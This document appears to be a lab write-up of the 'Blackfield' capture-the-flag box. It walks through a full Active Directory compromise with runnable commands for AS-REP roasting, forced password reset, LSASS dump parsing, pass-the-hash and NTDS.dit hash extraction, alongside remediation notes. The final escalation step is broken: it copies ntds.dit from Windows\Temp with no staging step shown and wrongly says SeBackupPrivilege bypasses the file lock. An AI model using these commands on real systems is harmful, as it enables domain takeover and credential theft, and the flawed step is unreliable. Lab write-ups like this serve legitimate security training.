Blackfield
Summary
I enumerated a Windows Domain Controller's SMB shares using only guest credentials, discovering a non-standard share whose folder listing exposed every domain username. Those names seeded an AS-REP roasting attack that produced a crackable Kerberos hash for the 'support' service account. BloodHound-style ACL analysis revealed 'support' held an Active Directory ForceChangePassword right over 'audit2020', which was abused to take over that account without knowing its current password.
As 'audit2020', a second non-standard share labelled 'forensic' yielded a pre-staged LSASS memory dump containing the NTLM hash of 'svc_backup': a Backup Operators member with remote shell access. Passing that hash into WinRM opened an interactive shell and produced the user flag. Finally, Backup Operators membership granted SeBackupPrivilege, which bypasses file ACLs, allowing a raw copy of the locked Active Directory database (NTDS.dit) and SYSTEM hive directly over SMB.
Offline hash extraction from those files gave the Administrator's NTLM hash; a single Pass-the-Hash login completed full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for support>"
export PASSWORD2="<the-password-you-recovered, for audit2020>"
export HASH="<the-hash-you-recovered, for svc_backup>"
export HASH2="<the-hash-you-recovered, for Administrator>"Attack path: how the box was taken
Exact commands 3
Add DC to local name resolution.
$ echo "$TARGET dc01.blackfield.local blackfield.local" | sudo tee -a /etc/hostsEnumerate shares with guest credentials: reveals profiles$ and forensic.
$ nxc smb $TARGET -u 'guest' -p '' --sharesAlternative share listing to cross-check nxc output.
$ smbclient -U 'guest%' -L //$TARGETFixRestrict SMB share access to authenticated domain accountsHigh
Exact commands 2
Write all profile folder names to users.txt: this becomes the AS-REP roasting wordlist.
$ smbclient //$TARGET/profiles$ -U 'guest%' -c 'ls' 2>/dev/null | awk '{print $1}' | grep -vE '^\.|^$' > users.txtVerify list size (~315 entries expected).
$ wc -l users.txtExact commands 3
Request AS-REP tickets for every account in the list; only accounts with pre-auth disabled respond.
$ impacket-GetNPUsers BLACKFIELD.local/ -usersfile users.txt -no-pass -dc-ip $TARGET -format hashcat -outputfile asrep.hashesCrack offline; recovered password is support:$PASSWORD.
$ hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt --force -o cracked.txtConfirm plaintext credential recovery.
$ cat cracked.txtFixEnable Kerberos pre-authentication on all domain accountsCritical
Exact commands 3
Collect ACL data to identify the ForceChangePassword edge on audit2020 (run this to verify before exploiting).
$ bloodhound-python -u support -p "$PASSWORD" -d BLACKFIELD.local -ns $TARGET -c AllForce-reset audit2020's password using the delegated ACL right; substitute any strong password.
$ net rpc password audit2020 "$PASSWORD2" -U "BLACKFIELD.local/support%$PASSWORD" -S $TARGETVerify the new credentials are accepted.
$ nxc smb $TARGET -u audit2020 -p "$PASSWORD2"FixRemove excessive Active Directory ACL delegations from service and support accountsHigh
Exact commands 3
Download the LSASS dump archive from the forensic share.
$ smbclient //$TARGET/forensic -U "BLACKFIELD.local/audit2020%$PASSWORD2" -c 'cd memory_analysis; get lsass.zip'Extract lsass.DMP.
$ unzip lsass.zipParse the dump offline; look for svc_backup NT hash $HASH.
$ pypykatz lsa minidump lsass.DMP | grep -iE 'username|NT:'FixRemove credential-bearing forensic artifacts from network-accessible sharesCritical
Exact commands 3
Confirm shell access: Pwn3d! Means command execution is confirmed.
$ nxc winrm $TARGET -u svc_backup -H $HASH -x 'whoami'Read user flag; actual -> <user.txt>
$ nxc winrm $TARGET -u svc_backup -H $HASH -x 'type C:\Users\svc_backup\Desktop\user.txt'Open an interactive shell for privilege escalation.
$ evil-winrm -i $TARGET -u svc_backup -H $HASHExact commands 3
Pull NTDS.dit and SYSTEM hive from C$: SeBackupPrivilege bypasses the file lock on NTDS.dit.
$ smbclient //$TARGET/C$ -U "BLACKFIELD.local/svc_backup%$HASH" --pw-nt-hash -c 'cd Windows\Temp; get ntds.dit; get system.hive'Decrypt all domain account hashes offline; look for Administrator:500 entry.
$ impacket-secretsdump -ntds ntds.dit -system system.hive LOCALPass-the-Hash as Administrator for full domain control; read root.txt → <root.txt>.
$ evil-winrm -i $TARGET -u Administrator -H $HASH2FixRemove unnecessary Backup Operators membership and deny network logon for privileged accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password: to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 06:20:49Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.